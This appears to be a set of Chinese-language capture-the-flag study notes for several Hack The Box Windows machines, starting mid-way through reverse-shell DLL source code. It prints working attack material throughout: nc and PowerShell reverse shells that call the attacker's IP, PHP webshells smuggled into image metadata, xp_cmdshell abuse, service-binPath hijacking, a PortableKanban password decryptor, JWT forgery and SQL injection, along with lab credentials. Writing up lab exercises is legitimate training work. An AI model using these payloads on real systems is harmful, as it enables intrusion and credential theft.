	getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
	ptr = result;
	SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
	connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (HANDLE)ConnectSocket;
	si.hStdOutput = (HANDLE)ConnectSocket;
	si.hStdError = (HANDLE)ConnectSocket;
	TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
	CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	WSACleanup();
}

int VerifyThemeVersion(void)
{
	rev_shell();
	return 0;
}

这边的利用就是把上面的ip改成自己靶机的ip

我将 DLL 负载复制到 ThemeBleed 存储库中data/stage3

PS > copy ..\rev_shell_dll\ReverseShellDLL\x64\Release\ReverseShellDLL.dll .\data\stage_3

现在我将生成一个主题文件:

PS > .\ThemeBleed.exe make_theme 10.10.14.6 exploit.theme

如果我现在尝试启动服务器,它会失败:

PS > .\ThemeBleed.exe server

Unhandled Exception: System.Net.Sockets.SocketException: An attempt was made to access a socket in a way forbidden by its access permissions
   at System.Net.Sockets.Socket.DoBind(EndPoint endPointSnapshot, SocketAddress socketAddress)
   at System.Net.Sockets.Socket.Bind(EndPoint localEP)
   at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Int32 port, Boolean enableSMB1, Boolean enableSMB2, Boolean enableSMB3, Nullable`1 connectionInactivityTimeout)
   at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Boolean enableSMB1, Boolean enableSMB2)
   at SMBFilterDemo.Program.RunServer() in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 63
   at SMBFilterDemo.Program.Main(String[] args) in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 129

问题是 Windows 已经默认监听 SMB。

关闭 SMB

据我所知,完全禁用 SMB 的最简单方法是在 Windows 服务面板中禁用服务器服务:

image-20240119203357830

停止服务应该可行,但某些东西仍然占用端口 445,至少在我的机器上是这样。在这里重新启动就可以解决这个问题。

运行服务器

重新启动后,我可以在服务器模式下运行该漏洞:

PS > .\ThemeBleed.exe server
Server started

###

我将开始nc在我的 Windows 主机上监听,连接到 HTB VPN,并上传主题文件。ThemeBleed 服务器几乎立刻就建立了连接:

PS > .\ThemeBleed.exe server

然后它挂起,并且在 处有一个连接nc

nc -lvnp 4444

提权root

在 sam.emerson 的Documents目录中有一个 PDF 文档:

C:\Users\sam.emerson\Documents> dir
 Volume in drive C has no label.
 Volume Serial Number is C009-0DB2

 Directory of C:\Users\sam.emerson\Documents

09/21/2023  02:58 PM    <DIR>          .
09/20/2023  05:08 AM    <DIR>          ..
09/21/2023  09:18 AM            14,158 CVE-2023-28252_Summary.pdf
09/20/2023  07:10 AM               987 watchdog.ps1
               2 File(s)         15,145 bytes
               2 Dir(s)   3,048,124,416 bytes free

watchdog.ps1是模拟 sam.emerson 加载主题的脚本。

我将通过将 PDF 转换为 base64 来删除它:

PS C:\Users\sam.emerson\Desktop> powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\sam.emerson\Desktop> cd ..\Documents
PS C:\Users\sam.emerson\documents> ls

    Directory: C:\Users\sam.emerson\documents

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/21/2023   9:18 AM          14158 CVE-2023-28252_Summary.pdf
-a----         9/26/2023   1:07 PM            987 watchdog.ps1

PS C:\Users\sam.emerson\documents> [convert]::ToBase64String((Get-Content -path "CVE-2023-28252_Summary.pdf" -Encoding byte))
JVBERi0xLjYKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMC。。。。。。。。。。。。。。。。。。。。。。。。==

在我的虚拟机上,我会将其解码为一个文件:

oxdf@hacky$ echo "JVBERi...[snip]...GCg==" | base64 -d > CVE-2023-28252_Summary.pdf

PDF 包含有关 CVE-2023-28252 的信息:

systeminfo

image-20240119203858904

提权辅助网页 Windows提权辅助

我会注意到应用了 7 个修补程序。CVE-2023-28252 的 Microsoft 页面包含指向 Windows 11 x64 的“仅安全”补丁的链接,这些补丁标记为 KB5025224,但该系统上不存在该补丁。

CVE-2023-28252

POC

搜索“CVE-2023-28252 POC”可以找到来自 fortra 的此存储库。它有大量关于公共日志文件系统中的漏洞利用的详细信息。

该存储库有一个 VS 项目文件,因此我将其克隆到我的 Windows 计算机并在 Visual Studio 中打开它。POC 相当长,但在第 1491-1502 行,它检查它是否作为系统运行,然后启动notepad.exe

image-20240119205854068

我将替换为来自revshells.comnotepad.exe的 PowerShell #3 (Base64) :

image-20240119205904487

现在我将构建它。将其设置为发布版本非常重要,否则它将需要 Aero 上没有的某些库。如果我看到有关无法转换字符串类型的错误,如下所示:

image-20240119205915353

我可以通过进入项目设置(clfs_eop在解决方案资源管理器中右键单击并转到“属性”)来修复此问题,在“配置属性”>“高级”下将“字符集”设置为“使用多字节字符集”。现在关于“重建解决方案”:

image-20240119205934955

我将使用 Python Web 服务器 ( python3 -m http.server 80) 托管该文件,然后使用 PowerShell 请求该文件:

PS C:\Users\sam.emerson\documents> iwr http://10.10.14.6/clfs_eop.exe -outfile clfs_eop.exe
PS C:\Users\sam.emerson\documents> ls

现在我运行漏洞利用:

PS C:\Users\sam.emerson\documents> .\c.exe

nc -lvnp 9001

Atom

image-20240120213056501

image-20240120213148899

┌──(kali㉿kali)-[~/atom] └─$ shasum -a 512 up'date.exe | cut -d " " -f1 | xxd -r -p | base64 VuQnE40qqkhwLYqeXyaAJUisRZsbOkLTaS7mXCihNWEkicSWqwZxX+ihXiX1Secyc4fBVvLcbaIr RhRUhKXRtA==

1j6MyYLtoIB2xb/Bre5ZrvxGQDRwLk1uI9CjqTfsBL5mQlLbdiPxgN+996zUe6ceovJyUpVfnGNJPDDI/jnjvg==

image-20240120220805161

什么是一.cfg 文件? 具有.cfg 扩展名的文件是一种“设置"文件。 它是一种常用的文件类型,用于存储有关计算机程序配置和设置的信息。 大多数类型的CFG 文件都以文本格式存储,不应手动打开,而应使用文本编辑器打开。

这看起来像一个JSON数据,将其保存在本地的文件中并使用jq.

cat configFile.cfg | jq . | head
  • 登录时使用的加密密码RedisServerOdh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb

我们先尝试破解密码,然后再重点关注redis

搜索portablekanban如何解密码

PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval - Windows local Exploit

#!/usr/bin/python3

import base64 from des import * #pip3 install des

def decode(hash): hash = base64.b64decode(hash.encode('utf-8')) key = DesKey(b'7ly6UznJ') return key.decrypt(hash, initial=b'XuVUm5fR', padding=True).decode('utf-8')

print(decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"))

image-20240120221244350

或者,我们可以从服务的配置文件中找到密码。

 type *.conf | findstr pass
密码是kidvscat_yes_kidvscat

6379 - Pentesting Redis | HackTricks | HackTricks redis使用

┌──(root💀f4T1H)-[~/hackthebox/atom/privesc] └─> redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 10.10.10.237:6379> ping PONG 10.10.10.237:6379> info keyspace

db0:keys=4,expires=0,avg_ttl=0 10.10.10.237:6379> select 0 OK 10.10.10.237:6379> keys *

  1. "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"

  2. "pk:ids:User"

  3. "pk:ids:MetaDataClass"

  4. "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" 10.10.10.237:6379> get "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1617420120000-0700)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-621355968000000000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637530169345346438}"

10.10.10.237:6379> get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" {"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}" 10.10.10.237:6379>

  • 我们用于连接到远程服务器并使用我们找到的密码登录的第一个命令。

  • 连接后,ping命令用于测试连接是否仍然有效,或测量延迟。

  • 之后我们查看了关键的数据库,也是select唯一的数据库。

  • 然后keys在里面列出了。

  • 最后阅读密钥的内容。

image-20240120222341706

也可以利用上面的代码解密

evil-winrm -i 10.10.10.237 -u administrator -p 'kidvscat_admin_@123'

Querier

image-20240124202818320

'xx xx xx.xlsm' 与 xx\ xx\ xx.xlsm

但像( oletoolsolevba的一部分)这样的工具将为我提供 Linux 计算机上的 VBA

olevba Currency\ Volume\ Report.xlsm

记得查一下windows中office如何开启hong

由此,我可以获得用于连接的用户名(“reporting”)和密码(“PcwTWTHRwryjc$c6”)。

image-20240124220232266

只有这个可以用

常规枚举没有什么信息

responder -I tun0

接下来,我将发出连接以使用xp_dirtree主机上的 SMB 共享(不存在)加载文件:

SQL> xp_dirtree '\\10.10.16.4\a';
subdirectory    depth
-------------   -----------

它不会返回任何内容,但在响应程序窗口中,我捕获了必要的信息:

在responder中有ntlm值

hashcat破解

使用用户名“mssql-src”和密码“corporate568”,我现在可以使用新的凭据登录:

root@kali# mssqlclient.py mssql-svc:'corporate568'@10.10.10.125 -windows-auth

通过访问 mssql-svc 帐户,我对数据库拥有更多权限:

查询权限语句

SQL> SELECT * FROM fn_my_permissions(NULL, 'SERVER');

它仍然不允许我运行xp_cmdshell运行命令的命令:

SQL> xp_cmdshell whoami

请注意,运行命令的实际语法是EXEC xp_cmdshell '[command]';. 但是,我用来连接的客户端mssqlclient.py有一个内置命令来运行命令xp_cmdshell,所以我只需键入xp_cmdshell [command]

作为 mssql-svc,我可以启用xp_cmdshell(作为报告我无法做到的事情)。就像运行命令一样,脚本中有一个别名可以执行此操作。完整的命令是(来自微软的文档):

-- To allow advanced options to be changed.  
EXEC sp_configure 'show advanced options', 1;  
GO  
-- To update the currently configured value for advanced options.  
RECONFIGURE;  
GO  
-- To enable the feature.  
EXEC sp_configure 'xp_cmdshell', 1;  
GO  
-- To update the currently configured value for this feature.  
RECONFIGURE;  
GO

shell 的别名有效:

SQL> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL> xp_cmdshell whoami
output
--------------------------------------------------------------------------------
querier\mssql-svc
NULL

root@kali# smbserver.py -smb2support a smb/

靶机

xp_cmdshell \10.10.16.4\a\nc64.exe -e cmd.exe 10.10.16.4 443

rlwrap nc -lnvp 443

Windows 上最好的枚举脚本之一PowerUp.ps1来自PowerSploit。要在这里运行它,我将在 smb 共享中创建它的副本:

root@kali# cp /opt/PowerSploit/Privesc/PowerUp.ps1 smb/

shellnc足够稳定,可以加载交互式 PowerShell 会话:

C:\Users\mssql-svc\Desktop>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\mssql-svc\Desktop> whoami
querier\mssql-svc

Windows 有时会从文件共享加载 PowerShell 脚本时出现问题,但我可以移动到临时文件,将文件复制到那里,然后导入它:

PS C:\Users\mssql-svc\Desktop> cd ..\appdata\local\temp

PS C:\Users\mssql-svc\appdata\local\temp> xcopy \\10.10.14.14\a\PowerUp.ps1 .
xcopy \\10.10.14.14\a\PowerUp.ps1 .
\\10.10.14.14\a\PowerUp.ps1
1 File(s) copied

PS C:\Users\mssql-svc\appdata\local\temp> . .\PowerUp.ps1
. .\PowerUp.ps1

现在我可以运行它Invoke-AllChecks

PS C:\Users\mssql-svc\appdata\local\temp> Invoke-AllChecks

Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2212
ProcessId   : 192
Name        : 192
Check       : Process Token Privileges

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check     : Cached GPP Files

这里有很多有趣的东西,我将在 Beyond Root 中花一些时间来研究这些东西。现在,我将跳到最明显的结果,即用户名/密码组合为“Administrator”/“MyUnclesAreMarioAndLuigi!!1!”的 GPP 密码文件。

wmiexec.py 'administrator:MyUnclesAreMarioAndLuigi!!1!@10.10.10.125'

多种提权学习

PowerUp显示了通往 SYSTEM 的五种潜在路径:

  • SeImpersonatePrivilege

  • Modifiable Service - UsoSvc

  • %PATH% .dll Hijacks

  • Unattended Install Files

  • Cached GPP Files

RIP Juicy Potato(多汁土豆修复了兔子洞)

看来微软可能已经修复了Server 2019 中从 SeImpresonate 到 SYSTEM 的路径,这就是该主机的内容:

看来微软可能已经修复了Server 2019 中从 SeImpresonate 到 SYSTEM 的路径,这就是该主机的内容:

PS C:\Users\mssql-svc\Desktop> gwmi win32_operatingsystem | % caption
Microsoft Windows Server 2019 Standard 

所以这是一个死胡同。

Unattended Install Files

Jumping to the fourth item, there can be passwords in unattended.xml files. Unfortunately for me, not in these:

不是这个文件的passwd

PS C:\windows\panther> type unattend.xml | findstr /i password
type unattend.xml | findstr /i password
     <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Password>*SENSITIVE*DATA*DELETED*</Password>

可修改的服务滥用(Unattended Install Files)

binPath 是一个必需的服务参数,用于指定服务二进制文件的路径。如果任何服务配置了不正确的权限并提供对服务配置的未经授权的访问,攻击者可以利用此错误配置并通过binPath参数执行任意命令。

运行的一件事Invoke-AllChecksGet-ModifiableService命令行开关。它:

枚举所有服务并返回当前用户可以修改 binPath 的服务。

当我在上面运行时,这会产生以下输出Invoke-AllChecks

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

image-20240125160517066

他们建议跑步Invoke-ServiceAbuse。我将看一下这个函数的源代码。它将启用该服务(如果尚未启用),并备份当前的服务二进制文件。然后它将设置服务运行输入命令,运行服务,等待,然后停止服务,并恢复原始二进制文件。

PS C:\Users\mssql-svc\AppData\Local\Temp> Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443"                                                                                                 
Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443"

ServiceAbused Command
------------- -------
UsoSvc        \\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443

并以 SYSTEM 身份获取 shell:

root@kali# nc -lvnp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49682.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

然而,因为脚本是用来运行命令然后停止服务的,所以它很快就会死掉(即使它试图让它们继续运行,它nc64.exe不是服务二进制文件,所以它会很快死掉)。我可以用来msfvenom创建一个服务二进制文件,或者我可以让第一个 shellnc再次执行。nc即使它的父进程死了,这个新进程也会继续存在:

root@kali# nc -lvnp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49686.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444
\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444

我还可以让PowerUp命令添加一个管理员用户,或者安排一个任务每分钟运行nc并连接回我。这两个命令都会快速运行并完成,不会出现任何问题。

sniper

curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.16.4\test\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/<\/html>/,/<\/body>/p'

HTB: Sniper | 0xdf hacks stuff

HTB: Sniper | 0xdf hacks stuff

HackTheBox Sniper Walkthrough

window的远程文件包含

.chm文件提权root

BreadCrumbs

JSON Web Tokens - jwt.io jwt令牌解密网站

exiftool -Comment=’<?php echo “<pre>”;system($_GET[“cmd”]); ?>’

主要知识点

文件包含漏洞

让我们前往网页http://10.10.10.228/。我们显示以下网页:

image-20240126164105235

一般渗透网站,一边dirb扫描目录

点击check books 前往http: //10.10.10.228/php/books.php

image-20240126164137231

在这里搜索会返回标题中包含输入的书籍(看起来它在两边都附加了通配符)。an在标题中搜索返回:

image-20240126164205168

单击“Book”按钮会加载包含更多详细信息的叠加层:

image-20240126164215263

任何时候文件名被列为参数时,都值得寻找文件包含和目录遍历和/或文件包含漏洞。将此请求发送到 Burp Repeater,如果我将其更改为book=.,它会返回错误:

image-20240126164510512

这边就有了文件包含漏洞,可以用来查看后端文件,先放着可能后面有用

jwt令牌构建

访问/portal目录

image-20240126164711117

这是一个登录页面,显示有关该网页是我们的 IP 地址的受限域的消息。提供了一个联系助手的链接:http://10.10.10.228/portal/php/admins.php

image-20240126164724013

此页面显示当前哪个管理员/帮助程序处于活动状态。

让我们回到门户网站,注册并探索更多内容。

image-20240126164736936

我们看到“文件管理”,这看起来很有趣。当我们尝试访问它时,我们会被重定向回仪表板。也许是因为分配的角色不允许我们访问它。让我们转到“用户管理”来查找所有可用的用户。

image-20240126164754438

在这里我们可以看到“paul”、“alex”、“jack”是管理员。如果我们看到上面的内容,我们可以看到其中只有保罗具有“活跃”状态。现在我们的目标是以“paul”身份登录。我们还注意到,登录后会创建两个 cookie。

image-20240126164805673

经过分析,我们发现“令牌”是一个JWT令牌,而“PHPSESSID”奇怪地包含我们的用户名。JWT 令牌包含以下信息:

image-20240126164820075

下一步需要寻找secret key ,想到上面的文件包含

现在我们可以尝试模拟管理员“paul”,但我们需要 JWT 密钥,并且还需要了解如何生成“PHPSESSID”?

快速获取源代码脚本

#!/usr/bin/env python3

import requests
import sys


if len(sys.argv) != 2:
    print(f"[-] Usage: {sys.argv[0]} [path]")
    sys.exit()

resp = requests.post('http://10.10.10.228/includes/bookController.php',
        data = {'book': f'../{sys.argv[1]}', 'method': '1'})

print(bytes(resp.text, "utf-8").decode('unicode_escape').strip('"'))

我可以运行它来获取页面的源代码:

这里将代码复制参考

/portal/includes/fileController.php 中找到了 paul 的 JWT“secret”

image-20240126165113120

利用它构建令牌

image-20240126165142432

/portal/cookie.php 中找到了创建“PHPSESSID”的代码

cookie.php 使用用户名生成随机 cookie,添加一行,然后使用用户名“paul”调用函数 makesession 来获取其 cookie。

image-20240126165155481

复制到本地后运行,当我们运行此代码时,它会为我们提供用于用户“paul”的 cookie

现在我们拥有了“paul”的 JWT 令牌和 PHPSESSID,让我们更改浏览器中的 cookie,看看它是否有效。我使用Cookie 编辑器来处理 cookie。

image-20240126165230008

现在只需保存更改,然后重新加载页面即可。我们现在已通过 Paul 身份验证!并具有管理员权限。

文件上传

image-20240126165300689

访问“文件管理”

image-20240126165332632

创建了一个简单的 PHP 文件,其中包含以下代码。

<?php echo “<pre>”;system($_GET[“cmd”]); ?>

会被ban了

第一种绕过

该网页显示警告并公开用于处理文件上传的文件,即\portal\includes\fileController.php以及文件将上传的位置,即\uploads。由于不允许使用 .php 文件,因此我们构建一个恶意图像文件。

exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' 2.jpeg

添加数据后,我们可以在图片的注释部分查看PHP代码

image-20240126165442119

上传时,在burp中拦截请求,并在请求末尾将.zip扩展名更改为.php。这样服务器就会将其保存为PHP文件,PHP代码就可以被服务器处理并执行。

image-20240126165454787

文件已成功上传。

第二种绕过

shell_exec代替system

<?php $out=shell_exec($_REQUEST['cmd']); echo "<pre>$out</pre>"; ?>

反弹shell

nishang(失败)

我将从NishangInvoke-PowerShellTcpOneLine.ps1获取并使用我的 IP 地址更新它,然后对其进行 base64 编码,以便 PowerShell 可以运行它:

oxdf@parrot$ cp /opt/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 .
oxdf@parrot$ vim Invoke-PowerShellTcpOneLine.ps1 
oxdf@parrot$ cat Invoke-PowerShellTcpOneLine.ps1 | iconv -t utf-16le | base64 -w0
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdA。。。。

我尝试将其传递给 webshell,但没有返回任何 shell,也没有返回任何内容:

oxdf@parrot$ curl http://10.10.10.204:8080/portal/uploads/shell.php --data-urlencode "cmd=powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABl。。。。。。。。。。。。

鉴于我已经体验过 Defender 在该主机上捕捉到的东西,看来这个 Nishang shell 也很可能被阻止。

powershell -enc用来执行base64编码的语句

powershell -c直接执行

nc.exe成功

我将启动一个 Python Web 服务器托管nc64.exe,然后使用 PowerShell 获取它wget

oxdf@parrot$ curl http://10.10.10.228/portal/uploads/shell.php --data-urlencode "cmd=powershell -c wget 10.10.14.13/nc64.exe -outfile C:\programdata\nc64.exe"

现在用 shell 连接回来:

oxdf@parrot$ curl http://10.10.10.228/portal/uploads/shell.php --data-urlencode "cmd=C:\programdata\nc64.exe 10.10.14.13 443 -e powershell"

在我的聆听中ncrlwrap在 Windows 上获取向上箭头历史记录和更好的终端):

oxdf@parrot$ sudo rlwrap nc -lnvp 443

ssh连接

进行枚举

在PS C:\xampp\htdocs\portal\pizzaDeliveryUserData>目录下发现一些用户的json文件,juliette.json中有密码

对于朱丽叶来说,有以下值:

{
        "pizza" : "margherita",
        "size" : "large",
        "drink" : "water",
        "card" : "VISA",
        "PIN" : "9890",
        "alternate" : {
                "username" : "juliette",
                "password" : "jUli901./())!",
        }
}

sshpass -p 'jUli901./())!' ssh juliette@10.10.10.228

提权root

粘滞便笺数据

在根目录中C:\有两个非标准文件夹,AnouncementsDevelopment。第一个包含一个包含一些公告的文件:

朱丽叶无权访问Development.

在 juliette 的桌面上,有一个todo.html(因为 juliette 是那种在 HTML 表格中用 CSS 制作列表的人):

<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
        <tr>
            <th>Task</th>
            <th>Status</th>
            <th>Reason</th>
        </tr>
        <tr>
            <td>Configure firewall for port 22 and 445</td>
            <td>Not started</td>
            <td>Unauthorized access might be possible</td>
        </tr>
        <tr>
            <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
            <td>In progress</td>
            <td>It stores passwords in plain text</td>
        </tr>
        <tr>
            <td>Add new features to password manager</td>
            <td>Not started</td>
            <td>To get promoted, hopefully lol</td>
        </tr>
</table>
</html>

我已经在端口 22 上。是时候查看粘滞便笺和密码管理器了。

一些谷歌搜索显示粘滞便笺数据 Sticky Notes data is stored存储在%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite,并且位于该靶机上

PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> ls


    Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2021   4:10 PM          20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a----        11/29/2020   3:10 AM           4096 plum.sqlite
-a----         1/15/2021   4:10 PM          32768 plum.sqlite-shm
-a----         1/15/2021   4:10 PM         329632 plum.sqlite-wal

-wal文件是预写日志 (WAL) 文件。这用于实现原子提交和回滚。该-shm文件是数据库的共享内存文件,为访问数据库的多个进程提供内存。这三个文件对于获取数据至关重要。如果我只获取该.sqlite文件,它将显示为空。

有趣的是,如果我将所有三个都带到我的机器上,打开数据库,进行任何类型的查询,然后退出,因为现在没有进程拥有数据库的句柄,它将把它们全部保存到一个文件中.sqlite

我将使用 启动本地 SMB 服务器smbserver.py share . -smb2support,然后将文件复制到新共享:

copy plum* \10.10.14.13\share\

kali

file plum.sqlite

我将使用打开数据库sqlite3 plum.sqlite。它有一些表:

sqlite> .tables
Media           Stroke          SyncState       User          
Note            StrokeMetadata  UpgradedNote  

只有Note桌子上有一些有趣的东西。它有一堆列:

sqlite> .schema Note
CREATE TABLE IF NOT EXISTS "Note" (
"Text" varchar ,
"WindowPosition" varchar ,
"IsOpen" integer ,
"IsAlwaysOnTop" integer ,
"CreationNoteIdAnchor" varchar ,
"Theme" varchar ,
"IsFutureNote" integer ,
"RemoteId" varchar ,
"ChangeKey" varchar ,
"LastServerVersion" varchar ,
"RemoteSchemaVersion" integer ,
"IsRemoteDataInvalid" integer ,
"Type" varchar ,
"Id" varchar primary key not null ,
"ParentId" varchar ,
"CreatedAt" bigint ,
"DeletedAt" bigint ,
"UpdatedAt" bigint );

这是Text我关心的,它包含密码:

sqlite> select Text from Note;
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]

我已经有了 juliette 的密码,不过很高兴看到这个密码匹配。发展是新的。(当然)管理员已经不存在了。

Krypter_Linux二进制文件

juliette 可以访问共享Anouncements,但不能访问Development共享:

oxdf@parrot$ smbmap -H 10.10.10.228 -u juliette -p 'jUli901./())!'

development具有对以下内容的读取权限Development

oxdf@parrot$ smbmap -H 10.10.10.228 -u development -p 'fN3)sN5Ee@g'

里面有个文件Krypter_Linux ,获取到本地

该二进制文件是未剥离的 x64 ELF:

oxdf@parrot$ file Krypter_Linux 
Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped

运行二进制文件会对其进行一些更新:

oxdf@parrot$ ./Krypter_Linux 
Krypter V1.2

New project by Juliette.
New features added weekly!
What to expect next update:
        - Windows version with GUI support
        - Get password from cloud and AUTOMATICALLY decrypt!
***

No key supplied.
USAGE:

Krypter <key>

他的执行需要密钥

cat Krypter_Linux

我们可以在这个二进制文件中看到一个链接:

http://passmanager.htb:1234/index.phpmethod=select&username=administrator&table=passwords

端口转发

1.Now let us use port forwarding to connect to port 1234.

ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228

Now if we curl http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords we receive an AES key in the response.

image-20240126170846826

2.端口转发也可以利用chisel

上传它,在本地启动服务器,然后连接回它:

c.exe client 10.10.14.13:8000 R🔢127.0.0.1:1234

在服务器上:

./chisel_1.7.6_linux_amd64 server -p 8000 --reverse

3.还有一种就是

curl.exe在 Breadcrumbs 上使用,无需任何转发:

juliette@BREADCRUMBS C:\ProgramData>curl "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"      
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("   
  }
}

sql注入

这个链接看起来像是有sql注入

curl "http://passmanager.htb:1234/index.php?method=select&username=administrator'&table=passwords"

在administratoe后面加个'试试

是有的

可以用sqlmap跑

这是别人的思想

 curl "http://passmanager.htb:1234/index.php" -d "method=select&username=' UNION SELECT 1;-- -&table=passwords"
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
